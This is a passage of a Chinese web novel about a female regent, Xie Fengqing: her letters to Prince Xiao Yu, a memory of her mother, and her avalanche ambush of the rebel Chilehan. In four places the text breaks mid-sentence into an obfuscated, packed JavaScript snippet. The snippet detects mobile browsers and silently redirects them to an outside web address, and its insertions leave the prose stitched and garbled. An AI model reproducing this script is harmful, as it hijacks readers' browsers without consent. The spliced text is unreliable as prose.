谢凤卿接过信,指尖在触碰到信封时微微一顿。那信封上带着淡淡的松墨香气,是她再熟悉不过的味道。她小心翼翼地拆开火漆封印,展开信纸。上面只有寥寥数字:“闻卿大捷,心甚慰之。京中一切安好,勿念。盼早日凯旋。”字迹苍劲有力,正是萧御手笔。 然而最让她心头一颤的,是信的右下角,那里细细画着一枝含苞待放的桃花,与她剑柄上的纹样如出一辙,笔触细腻得仿佛能看见作画人当时的专注神情。 她的指尖轻轻抚过那墨迹未干的字迹,又在那枝桃花上停留片刻,眼中泛起连她自己都未曾察觉的温柔。她几乎能想象出他深夜独坐书房,在烛光下执笔作画时的模样——眉头微蹙,薄唇紧抿,全神贯注得仿佛在完成一件极其重要的事情。那个平日里冷峻威严的监国亲王,竟会有如此细腻的一面。 “取纸笔来。”她轻声吩咐,声音里带着一丝不易察觉的柔软。 霍三娘立即呈上文房四宝。谢凤卿略一沉吟,提笔蘸墨,在宣纸上落下清秀却有力的字迹:“边关已定,不日即归。世界铁路,可开始筹划。” 写到这里,她笔尖微顿,抬眼望向关外那片在夕阳下盛开的野桃花林。粉白的花瓣在微风中轻轻摇曳,让她想起多年前在王府后院,母亲亲手栽种的那株桃树。那时她还是个不谙世事的少女,而他也不过是个沉默寡言的世子。 她唇角不自觉地扬起一抹浅笑,重新落笔,添上一句:“边关桃花已绽,甚美。”墨迹在纸上缓缓晕开,如同她心中荡漾的涟漪。 将信仔细折好,交予使者时,她轻声补充道:“告诉监国,我一切安好,让他...不必挂心。”最后几个字说得极轻,仿佛怕被旁人听去,却又带着难以掩饰的关切。 使者郑重接过书信,翻身上马,绝尘而去。谢凤卿望着那远去的背影,久久没有移开视线。夕阳将她的身影拉得很长,银甲在余晖中泛着温暖的光泽。这一刻,她不再是那个叱咤风云的摄政王,只是一个期待着归期的寻常女子。 霍三娘在一旁静静看着,眼中闪过一丝了然的笑意。她跟随谢凤卿多年,还是第一次见她露出这般神情。那枝画在信纸角落的桃花,那句“不必挂心”的叮嘱,无不透露着两人之间难以言说的情愫。 夜幕渐渐降临,边关的星空格外明亮。谢凤卿轻抚着剑柄上的桃花纹路,忽然觉得,这漫长的征战之路,因为远方那个人的牵挂,也变得不再那么孤寂。 使者领命而去。 谢凤卿重新上马,望向远方。夕阳西下,将她与战马的身影拉得很长。银甲在余晖中闪烁着温暖的光泽,再也不见战场的冷厉。远处的山峦被夕阳镀上了一层金边,连绵起伏,如同沉睡的巨兽。 夜幕如墨,缓缓浸染着边关的天际 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551714|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将白日里战火纷飞的痕迹悄然抹去。当最后一抹晚霞如同羞赧的少女般消散在地平线上,无垠的星空便悄然登场,格外明亮璀璨。银河横贯天际,宛如天神挥洒的银练,繁星如织,密密匝匝地铺满了深邃的苍穹,每一颗星子都在闪烁着独特的光芒,仿佛在诉说着千古的故事。 谢凤卿独自立于关楼之上,身形在星空下显得格外挺拔。她卸去了日间征战时的银甲,换上了一袭墨色常服,衣料是上好的云锦,在星光下泛着淡淡的光泽。如瀑的青丝仅用一支简单的白玉簪松松绾起,几缕发丝被夜风拂动,轻抚着她白皙的脸颊。经过一日的征战,她的面容略显疲惫,但那双明眸却依然清澈如泉,在星辉映照下闪烁着睿智的光芒。玄色斗篷在夜风中轻轻摆动,腰间的桃花剑静静地佩着,剑柄上那枝精雕细琢的桃花纹路在星辉下若隐若现,仿佛随时会绽放出芬芳。 日间的喧嚣与厮杀已然散去,此刻的边关沉浸在一种奇特的宁静之中。唯有夜风呼啸而过,带着边关特有的苍凉气息,卷起细沙打在城墙石砖上,发出沙沙的轻响。这风声时而呜咽,如泣如诉;时而长啸,豪气干云,像是在诉说着这片土地上千古流传的英雄传奇。 她仰望着星空,思绪如潮水般涌来。这一剑劈关,不仅劈开了叛军的防线,更劈开了一个崭新的时代。而她与萧御,将继续携手,引领这个时代走向更加光明的未来。想到这里,她的唇角不自觉地扬起一抹浅笑,那笑容中既有对过往征战的释然,也有对未来的无限憧憬。 远处,新生的日月旗在夜色中猎猎作响,旗帜在风中翻卷的声音如同这个正在巨变中的世界,永不停息。旗帜下方,士兵们点燃了篝火,橘红色的火光跳跃着,映照着一张张年轻而坚毅的脸庞。这些面孔或许还带着稚气,但眼神中已然有了保家卫国的坚定。有士兵低声唱起了边关的民歌,那苍凉而悠远的歌声随风飘向远方,在星空下回荡,带着几分思乡的愁绪,又有几分凯旋的豪迈。 谢凤卿轻轻抚摸着桃花剑冰凉的剑柄,那细腻的桃花纹路在她的指尖下仿佛有了温度。这一刻,她忽然想起了多年前的一个夜晚,那时她还只是谢府后院一个不谙世事的小女孩。 记忆如潮水般涌来,将她带回到了那个遥远的夏夜。 那年她刚满八岁,是个闷热的夜晚,连蝉鸣都显得有气无力。小凤卿偷偷溜出闺房,蹑手蹑脚地来到后院那株老桃树下。月光如水,洒在落满花瓣的青石板上。她从树洞里取出偷偷藏好的木剑,那是她照着母亲的真剑自己削制的,虽然粗糙,却是她最珍爱的宝贝。 "凤卿,这么晚了还在练剑?"一个温柔的声音自身后响起。 小凤卿吓了一跳,慌忙将木剑藏到身后。转过身,只见母亲林清漪站在月影下。林清漪穿着一袭淡青色的素纱长裙,裙摆上绣着几枝疏落的墨竹,显得清雅脱俗。如云的青丝仅用一支碧玉簪松松挽起,几缕发丝垂在耳侧,衬得她本就白皙的肌肤更加莹润。月光洒在她身上,仿佛为她披上了一层银纱。虽然已是人妇,但林清漪的容颜依旧秀美,眉宇间带着几分英气,眼角细微的皱纹非但不减其风韵,反而更添成熟韵味。 第72章娘亲,您不开心吗 "娘亲..."小凤卿低下头,小手不安地绞着衣角。她穿着一件粉色的襦裙,裙身上绣着几只翩跹的蝴蝶,显得娇俏可爱。乌黑的头发扎成两个小髻,各系着一根红色的丝带,随着她低头的动作轻轻晃动。 林清漪走近,轻轻拂去女儿肩头的落花。她的手指修长白皙,指尖带着薄薄的茧子,那是常年握剑留下的痕迹。"让娘看看你的剑。" 小凤卿犹豫了一下,还是将木剑递了过去。林清漪接过剑,指尖轻轻抚过粗糙的剑身,眼中闪过一丝复杂的神色。那眼神中有怀念,有遗憾,还有一丝难以察觉的痛楚。 "知道娘为什么给你取名"凤卿"吗?"林清漪柔声问道,将女儿揽入怀中,坐在桃树下的石凳上。她身上的气息清雅好闻,带着淡淡的檀香。 小凤卿抬起头,大眼睛在月光下闪着好奇的光芒:"因为凤凰是百鸟之王?" 林清漪轻笑,那笑声如同春风拂过琴弦。"凤凰非梧桐不栖,非竹实不食,非醴泉不饮。娘希望你如凤凰般,始终保持高洁的品格。"她的声音渐渐低沉,"这世间对女子多有束缚,娘希望你将来能挣脱这些枷锁,如凤凰般翱翔九天。" 小凤卿似懂非懂地点点头,小手不自觉地握住母亲的手。她注意到母亲的手掌上有薄薄的茧子,那是常年握剑留下的痕迹。 "娘亲,为什么您不再练剑了?"小凤卿突然问道。她记得小时候见过母亲在月下舞剑的身影,那姿态美得如同仙子。但不知从何时起,母亲再也不碰剑了。 林清漪的神色黯淡下来,她抬头望着满树桃花,久久不语。月光下,她的侧脸显得格外柔美,却带着一丝难以言说的忧伤。细看之下,能发现她眼角有着淡淡的倦意,那是岁月与经历留下的印记。 "凤卿,你看这桃花,"良久,她轻声道,"花开时绚烂,花落时寂寥。人生亦如此,有绽放的时刻,也有凋零的时候。"她低头看着女儿纯真的眼眸,"娘曾经也如你这般,热爱剑术,梦想着仗剑天涯。但有些时候,我们不得不放下心中的热爱,去承担应有的责任。" 小凤卿不明白母亲话中的深意,但她能感受到母亲语气中的无奈与悲伤。她伸出小手,轻轻抚摸母亲的脸颊:"娘亲,您不开心吗?" 林清漪将女儿搂得更紧,下巴轻轻抵在她的头顶。这个动作充满了保护欲,却也透露出几分脆弱。"开心与否,都不重要。重要的是,娘希望你能一直坚持自己的梦想,不要像娘一样..."她的话没有说完,但小凤卿能感觉到母亲身体的轻微颤抖。 那夜,林清漪破例教了女儿一套简单的剑法。月光下,母女二人的身影在桃树下舞动,落花如雨,洒在她们的肩头。小凤卿学得认真,每一个动作都力求完美。她记得母亲手把手地纠正她的姿势,温热的手掌覆在她的小手上,带着令人安心的力量。 "剑为利器,亦可为仁器。"林清漪在教导时郑重说道。她的神情严肃,目光如炬,仿佛又回到了当年驰骋沙场时的英姿。"用剑之人,当时刻谨记为何而出剑。若是为守护该守护之人,为捍卫该捍卫之道,则剑出无悔。但若是为一己私欲,逞一时之快,则剑锋所指,必生罪孽。" 小凤卿似懂非懂,但母亲严肃的神情让她将这些话深深记在了心里。练剑结束后,林清漪从怀中取出一方丝帕,仔细地替女儿擦拭额头的汗水。月光下,母亲的眼神温柔得能滴出水来,那目光中饱含着对女儿深沉的爱与期盼。 "凤卿,记住,"林清漪轻声道,"无论将来遭遇什么,都要保持内心的光明。这世间或许有诸多不公,但只要你心怀正义,手中的剑便是守护之光。" 回忆如潮水般退去,谢凤卿站在关楼上,指尖轻轻摩挲着桃花剑的剑柄。星空下的她,眼中闪烁着坚定的光芒。如今的她终于明白了母亲当年的教诲,也理解了母亲那份深藏于心的无奈与期盼。她低头看着手中的桃花剑,剑柄上的纹路在星光下越发清晰,仿佛母亲正在通过这柄剑,与她进行着一场跨越时空的对话。 "母亲,您看到了吗?"她望着星空,轻声道,"女儿终于明白了为何而出剑。为天下太平,为百姓安康,为此心所向。" 夜风拂过,带来远方的歌声和篝火的气息。星空无言,唯有繁星闪烁,仿佛在回应她的誓言。桃花剑在月光下泛着温润的光泽,如同母亲欣慰的目光,永远注视着她前行的道路。 这一刻,谢凤卿忽然觉得,母亲从未真正离开过。她的精神,她的教诲,她未竟的理想,都通过这柄桃花剑,传承了下来,并将在新的时代里绽放出更加灿烂的光芒。这光芒将照亮她前行的道路,也将温暖这个正在悄然改变的世界。 子时将至,朔风如刀,卷起千堆雪。无垠的雪原在冷月清辉下泛着幽蓝的寒光,仿佛一块巨大的寒玉铺陈天地之间。风过处,雪沫飞扬,如万千银蝶乱舞,在墨色天幕下织就一片朦胧的纱幕。极目远眺,但见天地苍茫,雪丘连绵,宛若凝固的惊涛骇浪,在死寂中暗涌着肃杀之气。 黑风口外三十里,雪原峡谷如一条蛰伏的太古巨**,静静盘踞在边境线上。峡谷两侧的绝壁陡若刀削,皑皑积雪覆盖其上,犹如披着白色铠甲的巨人,在月光下泛着冷硬的金属光泽。岩壁上的冰凌如利剑倒悬,偶尔有积雪不堪重负,簌簌滑落,在万籁俱寂中激起细微回响,恍若巨兽苏醒前的吐息。 月光如水银泻地,将雪原照得通透。每一粒雪晶都折射出冷冽的寒芒,远远望去,整片雪原仿佛在幽幽燃烧着蓝色的火焰。寒风掠过峡谷时发出呜咽般的嘶鸣,卷起的雪粒击打在岩壁上,沙沙作响,如同万千细沙在漏壶中流动,预示着决战时刻的迫近。 峡谷深处,隐约可见几点微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559640|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱的营火,像是巨兽暗红的瞳孔,在夜色中明明灭灭。而与之相对的,是东侧高地上那一排排静默的白影——他们如同雪地中生长的幽灵,与这片冰天雪地浑然一体。只有偶尔兵器折射的冷光,暗示着这是一支蓄势待发的精锐之师。 空气中弥漫着一种特殊的寒意,不仅仅是风雪带来的凛冽,更带着铁与血的气息。这是一种大战将至的压迫感,仿佛整个天地都屏住了呼吸,等待着第一滴血染红这片纯白。就连惯常在雪夜出没的雪狐、雪兔,此刻也都销声匿迹,仿佛感知到了这片土地上即将爆发的腥风血雨。 峡谷上方的夜空,浮云如纱,时而遮掩月华,让雪原陷入深沉的墨色;时而云开月现,天地间顿时亮如白昼。这明灭不定的光线,为即将到来的厮杀更添几分诡谲。在这片被月光浸透的雪原上,每一处雪丘后都可能暗藏杀机,每一道岩缝中都可能蛰伏着夺命的利刃。 最令人心悸的是那种暴风雨前的宁静。风忽然小了,雪落无声,连岩壁上积雪滑落的声响都戛然而止。整片天地仿佛凝固了一般,唯有天边那轮冷月,依旧漠然地凝视着这片即将被鲜血浸染的雪原。在这死寂之中,一种无形的杀气却在空气中弥漫、凝聚,仿佛一张逐渐拉满的弓,随时都可能迸发出石破天惊的一击。 雪原依旧纯白,月光依然清冷,但任谁都能感受到——这片看似平静的雪野,已然成了一座天然的角斗场。而黎明来临之时,这里的积雪必将被热血融化,这片纯净的白色,也注定要被战争的残酷所染红。 谢凤卿伫立在峡谷东侧的高地边缘,身形挺拔如雪中青松。银甲外罩着的白色斗篷在月光下泛着清冷的光泽,与周遭的雪原完美融合。斗篷的兜帽半掩着她如玉的容颜,月光流淌在她线条分明的侧脸上,勾勒出坚毅的轮廓。几缕墨色发丝从兜帽中逸出,在寒风中轻舞,时不时拂过她紧抿的唇瓣。 她握住千里镜的手指修长有力,指节因长时间暴露在严寒中微微发红,却稳如磐石。兜帽阴影下,一双明眸比夜空的寒星更加璀璨,此刻正透过千里镜,锐利地扫视着峡谷内的每一个角落。那目光仿佛能穿透黑暗,洞察一切隐藏的危机。 "赤勒汗残部两万人,全部驻扎在峡谷内。"霍三娘的声音低沉而清晰,她手中的羊皮地图在寒风中微微颤动。这位年过四旬的女将鬓角已染霜色,但目光依旧锐利如初。她伸出一只布满老茧的手指,点在地图上一处标记:"他们利用峡谷地形,将粮草辎重安置在峡谷最深处,主力部队分作三队,呈犄角之势布防。" 谢凤卿缓缓放下千里镜,月光恰好照亮她整张面容。那是一张兼具柔美与刚毅的脸庞,柳眉斜飞入鬓,鼻梁高挺如玉雕,唇色因严寒略显苍白,却依旧紧抿成一条坚毅的直线。最引人注目的是那双眼睛——平日里如秋水般明澈,此刻却凝结着寒冰般的锐利。 第73章他狼子野心,永远不会真正降服 霍三娘继续汇报,手指在地图上移动:"峡谷入口处设有三重鹿角障碍,以铁索相连。两侧崖壁上还埋伏了弓箭手,约莫五百人,都占据着制高点。"她顿了顿,声音压得更低,"据探子回报,赤勒汗的中军大帐设在峡谷最窄处,四周有重兵把守。" 谢凤卿的唇角泛起一丝若有似无的冷笑。这笑意非但没有融化她眼中的寒冰,反而让她的面容更添几分肃杀。她修长的手指无意识地摩挲着腰间的剑柄,那是先帝亲赐的桃花剑,剑柄上雕刻的桃花图案已被岁月磨得光滑。 "赤勒汗...又是他。"她的声音很轻,却带着刺骨的寒意,每个字都像是从冰窖中捞出,"我就知道他狼子野心,永远不会真正降服。" 她的目光投向峡谷深处,仿佛要穿透重重黑暗,直视那个让她屡次兴师动众的对手。"那皇帝儿..."说到这里,她的语气中带着明显的讥讽,"当初必定是和他达成了什么见不得光的协议,这才放虎归山。" 霍三娘沉默不语,她知道此时不需要接话。这位跟随谢凤卿征战多年的老将,太了解主帅的脾性。每当谢凤卿用这种轻缓而冰冷的语气说话时,就意味着她内心已经燃起了滔**火。 谢凤卿忽然转身,白色斗篷在雪地上划出一道弧线。月光完全照亮她的面容,此刻她的眼中仿佛有火焰在冰层下燃烧:"老说易守难攻?"她重复着这个词,语气中的讥讽更加明显,"那要看对手是谁。" 她向前迈出一步,银甲在月光下泛着冷光:"在绝对的实力面前,任何天险都是徒劳。"这句话既像是在对霍三娘说,又像是在对自己立下誓言。 霍三娘注视着主帅的背影。她知道,谢凤卿此刻脑海中一定已经在推演整个战局。这位年纪轻轻就肩负起边关安危的女子,有着远超常人的军事才能和钢铁般的意志。 "传令下去,"谢凤卿突然开口,打破了沉默,"让各营主将来大帐议事。一炷香后,我要看到完整的进攻方案。" "是!"霍三娘躬身领命,转身离去前,忍不住又看了谢凤卿一眼。只见她依旧伫立在悬崖边,白色斗篷在寒风中猎猎作响,身影在漫天飞雪中显得既孤独又坚定。 谢凤卿的目光重新投向脚下的峡谷。那里有她的敌人,有她必须守护的疆土,更有她向朝廷证明自己的机会。这一战,只许胜,不许败。她轻轻握住剑柄,感受着上面熟悉的纹路。今夜,这片雪原必将被鲜血染红。而她要做的,就是确保流的是敌人的血。 月光下,她的身影仿佛与这片雪原融为一体,她是这片土地的守护神,也是敌人挥之不去的梦魇。 谢凤卿缓缓转身,目光如寒夜中的北极星,精准地投向身后静默肃立的风雪十八骑。十八道白色身影如同雪原上凝结的冰雕,与苍茫天地浑然一体。特制的白色伪装服不仅完美隐匿了他们的身形,更巧妙地在关键部位缀有细小的反光晶石,在特定角度会折射出极细微的寒光——这是他们彼此识别的暗记,也是谢凤卿亲自参与设计的巧思。 她缓步走过每一个战士面前,脚步在积雪上留下极浅的印痕。当她与每个战士目光相接时,都会微微颔首,仿佛在进行一场无声的交流。这些身经百战的精锐个个站得笔直,呼出的白气在严寒中凝霜,挂在眉睫之上,更添几分肃杀。但他们眼中燃烧的战意,却比任何火焰都要炽热。 "今夜,"谢凤卿终于开口,声音清越如玉石相击,并不高昂,却奇异地穿透呼啸的风雪,清晰地传入每个人耳中,"我们要打的,是一场前所未有的仗。" 她停顿片刻,让这句话在每个人心中激起回响。十八双眼睛一眨不眨地注视着她,等待着下文。 "不靠人多势众,不靠血肉之躯的堆砌。"她的声音陡然转厉,每个字都如冰锥般锋利,"而是靠这个——" 她倏然抬手,指向远处黑暗中蛰伏的巨影。随着她的动作,风雪十八骑的目光齐刷刷转向那个方向。只见在朦胧的月色下,一艘庞然大物若隐若现,那是火龙炮舰"凤皇号",谢凤卿亲自督造的秘密武器。 "凤皇号,舰长三十丈,配备三十六门新式火龙炮。"谢凤卿的声音带着一丝几不可察的自豪,"每门炮可连续发射十二枚特制炮弹,射程可达五里。更关键的是——"她故意顿了顿,确保每个人都在全神贯注地倾听,"这些炮弹内填充的是我特制的凝火胶,遇雪不灭,遇水更旺。" 她看到几个战士眼中闪过惊异之色,这正是她想要的效果。作为统帅,她不仅要下达命令,更要让部下明白每一个战术安排背后的深意。 "但火炮只是第一步。"谢凤卿话锋一转,从怀中取出一枚拳头大小的铁球。那铁球表面光滑如镜,在月光下泛着幽幽蓝光,隐隐有寒气散发出来。"这才是今夜决胜的关键——雪崩雷。" 她将雪崩雷托在掌心,缓缓展示给众人看:"内填的特制**,是我根据古籍改良的配方,爆破力是普通**的三倍。但更重要的是,它在**时会产生特殊的震动频率,能够引发雪崩。" 凌雪忍不住开口:"王爷的意思是,要借自然之力破敌?" 谢凤卿赞许地看了她一眼:"正是。赤勒汗自以为占据峡谷天险,却不知这恰恰成了他的葬身之地。"她的唇角勾起一抹冷冽的弧度,"他永远不会想到,同样的雪崩战术,我会用两次。但这一次,不再是侥幸,而是精确的计算。" 她走向一旁临时架设的沙盘,那是根据连日来的侦察精心制作的峡谷地形图。沙盘上山川起伏,敌我态势一目了然。 "看这里,"谢凤卿用佩剑指向峡谷两侧的几处标记,"这十个点位,是根据山体结构和积雪厚度精心选定的。五百枚雪崩雷分作十组埋设,每组之间的引爆顺序有严格的时间差。" 她剑尖轻点,在沙盘上划出一道优美的弧线:"首先引爆的是**点和七号点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562518|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这两个位置的雪崩会切断敌军后退之路;接着是一号和三号点,制造混乱;最后同时引爆其余六组,形成合围之势。" 凌雪眼中闪过明悟的光芒:"如此一来,敌军就如同瓮中之鳖。" "不仅如此。"谢凤卿的剑尖继续移动,"我特意在峡谷东侧留出了一个缺口。这不是疏忽,而是故意给敌人留下的"生路"。"她看向众人,目光深邃,"惊慌的敌人会本能地向这个方向逃窜,而那里——" 她剑尖重重落在沙盘上一处平坦地带,"正是凤皇号火力最能发挥的死亡地带。" 风雪十八骑的成员们相视一眼,都从彼此眼中看到了震撼。这个计划环环相扣,不仅利用了天时地利,更精准地预判了敌军的心理反应。如此精妙的布局,需要何等的智慧与谋略? 凌雪深吸一口气,上前一步:"王爷神机妙算。五百枚雪崩雷已按照您的吩咐,分作十组埋设在预定位置。每组雪崩雷之间以特制引线相连,可保证在三十息内依次引爆。" 谢凤卿点头,目光扫过众人:"记住,此战关键,在于时机。雪崩雷的引爆必须与凤皇号的炮击完美配合。早一刻,敌人尚有反应时间;晚一刻,就会错失最佳战机。" 她抬头望向夜空,月明星稀,正是夜袭的好时机。"传令凤皇号,子时整,准时开火。以第一轮齐射为号,见到火光立即引爆雪崩雷。" "得令!"凌雪抱拳领命,转身向身后两名骑兵做了个手势。那两人立即翻身上马,马蹄因为裹着厚厚的棉布,在雪地上几乎没有发出声响,很快就消失在夜色中。 谢凤卿望着他们远去的背影,心中却在飞速计算着每一个可能的变数。风向、温度、积雪的稳定性、敌军的应变能力……所有这些因素都在她的考量之中。作为一名优秀的统帅,她从来不会把胜利寄托在单一计划上。 "凌雪,"她突然开口,"如果雪崩效果不如预期,或者敌军提前发现异常,我们还有第二套方案。" 凌雪立即应道:"敢问王爷,第二套方案是?" 谢凤卿从袖中取出一张更小的羊皮纸:"如果主要计划受阻,就改用火攻。我已经命人在上风口准备了三百桶火油,必要时可以制造火墙,将敌军逼入预定区域。" 她展开羊皮纸,上面用朱砂绘制着另一套完整的作战图:"同时,我还准备了一支奇兵,由霍三娘率领,已经绕到峡谷西侧待命。一旦主战场打响,他们就会从后方突袭敌军粮草。" 凌雪和其余队员都露出了敬佩的神色。原来主帅早已布下天罗地网,无论战局如何变化,都有相应的对策。这种算无遗策的智慧,让他们对胜利充满了信心。 "记住,"谢凤卿的声音将众人的注意力拉回,"再完美的计划也需要坚定的执行。今夜之后,我要让赤勒汗明白,同样的错误犯两次,就是愚蠢。而我要用他最熟悉的战术,送他最后一程。" 第74章边关的安宁,从来都不是靠妥协换来 她的话语中透着冰冷的杀意,但更令人心悸的是其中蕴含的智慧与谋略。这不仅是一场实力的较量,更是一场智力的博弈。而谢凤卿,显然已经棋先一着。 月光下,她的身影显得格外挺拔,银甲上的寒光与眼中的锐利相映生辉。在这个雪夜之中,她不仅是战士们的统帅,更是一位运筹帷幄的智者,用她的谋略为这场战役写下了必胜的注脚。 等待的时刻在凛冽的寒风中仿佛被无限拉长。朔风如刀,卷着密集的雪沫拍打在脸上,带来刺入骨髓的寒意。每一片雪花都像是冰晶制成的利刃,在呼啸的风声中不断撞击着战士们身上的铠甲,发出细碎而清脆的声响。在这片被月光染成幽蓝的雪原上,时间仿佛凝固了,唯有战士们呼出的白气在空气中凝结成霜,又迅速被狂风撕碎。 谢凤卿如一尊玉雕般伫立在高地边缘,白色斗篷在狂风中猎猎作响。她微微眯起双眼,目光穿透漫天飞雪,始终锁定在远处的峡谷方向。在那双锐利的眼眸深处,倒映着峡谷中隐约可见的点点营火,犹如地狱的入口在夜色中明灭闪烁。 她能够清晰地想象出此刻峡谷内的景象:叛军士兵们应当正围坐在篝火旁取暖,粗糙的手中捧着劣质的烈酒。或许还有人唱着粗犷的草原歌谣,全然不知死亡正在悄然而至。这种想象让她的唇角泛起一丝几不可察的冷意。 在她身后,风雪十八骑如同雪地中生长的白杨,以严整的战斗队形静默肃立。每个战士都保持着高度戒备的姿态,右手虚按在兵器上,身体微微前倾,仿佛随时都会如猎豹般扑出。他们呼出的白气在须臾间凝结成冰霜,挂在眉睫和胡须上,让这些久经沙场的精锐更添几分肃杀。 站在最前的是队长凌雪。这个平日里不苟言笑的女子此刻更是面若寒霜,她的右手始终按在腰间的弯刀上,指节因用力而发白。偶尔她会微微转动脖颈,用那双鹰隼般锐利的眼睛扫视四周,确保每个队员都处在最佳战斗状态。 站在凌雪身侧的是副队长石勇,这个身材魁梧的汉子如同雪原上的巨石。尽管寒风如刀,他却恍若未觉,粗壮的手臂裸露在外,冻得发红的皮肤上隐约可见数十道战场留下的疤痕。他时不时用粗糙的手掌摩挲着战斧的斧柄,这个习惯性动作暴露了他内心汹涌的战意。 更后面的战士们也各具特色:年轻的侦察兵李云紧握着强弓,手指在箭囊上无意识地轻叩;沉稳的老兵赵铁柱则半跪在地,耳朵贴近雪面,时刻监听着远处的动静;医护兵林素素已经将药箱摆在最顺手的位置,双手在衣袖中微微颤抖,却依然保持着专业的冷静。 谢凤卿的目光缓缓扫过这些忠诚的部下,心中涌起一丝复杂的情绪。她不由自主地握紧了腰间的桃花剑,剑鞘上精致的桃花图案已被岁月磨得光滑。这把先帝御赐的宝剑跟随她南征北战整整十年,见证过太多生死瞬间。指尖抚过剑鞘上的一道深刻划痕,那是三年前与赤勒汗部交手时留下的纪念。 想到朝中那些还在等着看她笑话的大臣,她的眼神愈发冰冷。那些养尊处优的权贵永远不会明白,在这苦寒的边关,每一场胜利都是用鲜血和生命换来的。而更让她心寒的是赤勒汗那张嚣张的嘴脸——那个背信弃义的小人,竟然在获得赦免后再次举兵反叛。 寒风突然加剧,卷起地面上的积雪,在空中形成一道朦胧的雪幕。在这片苍茫的白色世界中,十八道身影如同磐石般岿然不动。每个人都在心中默默计算着时间,等待着总攻时刻的来临。这种大战前的宁静,比战场上的厮杀更加折磨人的神经。 谢凤卿微微仰首,任由冰凉的雪花落在脸上。她在心中再一次推演着整个作战计划,确保每一个环节都万无一失。今夜,她要让所有人明白,这片雪原注定要成为叛军的葬身之地。而她和她的风雪十八骑,将用这场胜利向朝中那些质疑者证明——边关的安宁,从来都不是靠妥协换来的。 远处,凤皇号的轮廓在雪幕中若隐若现,如同蛰伏的巨兽,随时准备发出惊天动地的怒吼。 “王爷,还有一刻钟就是子时。”霍三娘的声音低沉而克制,她小心翼翼地将一件厚重的貂皮大氅披在谢凤卿肩上。这件大氅是用上等的黑貂皮制成,在月光下泛着幽暗的光泽。“天寒地冻,您要保重身体。”她的语气中透着难以掩饰的关切,那双历经风霜的眼睛里闪烁着担忧的光芒。 谢凤卿微微颔首,感受着貂皮接触肩头时传来的暖意,却没有伸手收紧大氅。她刻意让凛冽的寒风从领口灌入,刺骨的冰凉让她保持着绝对的清醒。这一刻,她需要寒冷来提醒自己肩上担负的重任——不仅是这场战役的胜负,更是整个边关的未来。 她的目光越过茫茫雪原,仿佛已经看到了战火平息后的景象。在她的规划中,胜利之后要立即着手修建贯通东西的铁路,让商队的驼铃取代战马的嘶鸣;要在边境开设互市,让各族百姓能够安居乐业;还要建立新的行政体系,彻底根治边患……这些宏图大业,都将在今夜这一战后徐徐展开。想到这些,她的眼神愈发坚定。 时间在寂静中缓慢流淌,每一息都显得格外漫长。风雪十八骑的战士们如同雕塑般伫立在雪地中,只有偶尔调整姿势时铠甲发出的轻微摩擦声,透露着他们内心的紧绷。凌雪反复检查着手中的**,这个平日里冷静自持的女子,此刻指节也因用力而微微发白。她深知,这枚信号弹将决定成千上万人的生死。 霍三娘不时抬头观测星象,又低头核对怀中的水漏,眉头微蹙。这位老将经历过太多战役,却从未像今夜这般紧张。不仅仅因为敌我实力的悬殊,更因为她明白这一战的意义远不止于战场上的胜负。 “王爷,”霍三娘忍不住低声道,“此战若胜,朝中那些反对您的大臣们,也该闭嘴了。” 谢凤卿的唇角泛起一丝若有似无的冷笑:“他们自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562519|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然会找新的理由。但只要我们拿下这一战,就有了推行新政的资本。”她的目光扫过严阵以待的将士们,“这些将士用性命换来的胜利,绝不能白白浪费。” 就在这时,一阵疾风卷着雪沫扑面而来,谢凤卿不由得眯起了眼睛。在这刺骨的寒风中,她忽然想起了十年前先帝将桃花剑交给她母亲时的嘱托:“清漪,朕将边关托付于你,不仅要平乱,更要开创太平。” 这句话如同烙印般刻在她和母亲的心上。十年来,林清漪不仅要在战场上与敌人周旋,还要在朝堂上与那些墨守成规的大臣博弈。如今轮到自己了有时候,她觉得后者比前者更加耗费心神。 